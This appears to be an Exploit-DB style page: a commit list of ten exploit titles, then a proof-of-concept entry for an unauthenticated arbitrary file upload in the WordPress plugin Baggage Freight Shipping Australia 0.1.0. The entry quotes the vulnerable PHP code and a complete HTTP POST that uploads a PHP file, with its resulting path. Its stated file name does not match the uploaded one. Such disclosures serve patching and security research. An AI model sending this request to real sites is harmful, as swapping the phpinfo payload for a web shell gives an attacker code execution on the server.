a6aa1db161
10 changes to exploits/shellcodes Product Key Explorer 4.0.9 - Denial of Service (PoC) NetShareWatcher 1.5.8 - Denial of Service (PoC) ShareAlarmPro 2.1.4 - Denial of Service (PoC) MAGIX Music Editor 3.1 - Buffer Overflow (SEH) Terminal Services Manager 3.1 - Local Buffer Overflow (SEH) Iperius Backup 5.8.1 - Buffer Overflow (SEH) Craft CMS 3.0.25 - Cross-Site Scripting WordPress Plugin Audio Record 1.0 - Arbitrary File Upload bludit Pages Editor 3.0.0 - Arbitrary File Upload WordPress Plugin Baggage Freight Shipping Australia 0.1.0 - Arbitrary File Upload
40 lines
No EOL
1.3 KiB
Text
40 lines
No EOL
1.3 KiB
Text
# Exploit Title: WordPress Plugin Baggage Freight Shipping Australia 0.1.0 - Arbitrary File Upload
|
|
# Date: 2018-12-24
|
|
# Software Link: https://wordpress.org/plugins/baggage-freight/
|
|
# Exploit Author: Kaimi
|
|
# Website: https://kaimi.io
|
|
# Version: 0.1.0
|
|
# Category: webapps
|
|
|
|
# Unrestricted file upload for unahtorized user in package info upload
|
|
# process allowing arbitrary extension.
|
|
|
|
File: upload-package.php
|
|
|
|
Vulnerable code:
|
|
if($_POST["submit"])
|
|
{
|
|
if ($_FILES["file"])
|
|
{
|
|
$uploadpath = "../wp-content/plugins/baggage_shipping/upload/".time()."_".$_FILES["file"]["name"];
|
|
|
|
move_uploaded_file($_FILES["file"]["tmp_name"],$uploadpath);
|
|
|
|
# Exploitation example:
|
|
|
|
POST /wp-content/plugins/baggage-freight/upload-package.php HTTP/1.1
|
|
Host: example.com
|
|
Content-Type: multipart/form-data; boundary=---------------------------18311719029180117571501079851
|
|
...
|
|
-----------------------------18311719029180117571501079851
|
|
Content-Disposition: form-data; name="submit"
|
|
|
|
1
|
|
-----------------------------18311719029180117571501079851
|
|
Content-Disposition: form-data; name="file"; filename="file.php"
|
|
Content-Type: audio/wav
|
|
|
|
<?php phpinfo();
|
|
-----------------------------18311719029180117571501079851--
|
|
|
|
# Uploaded file will be located at /wp-content/plugins/baggage_shipping/upload/{timestamp}_info.php. |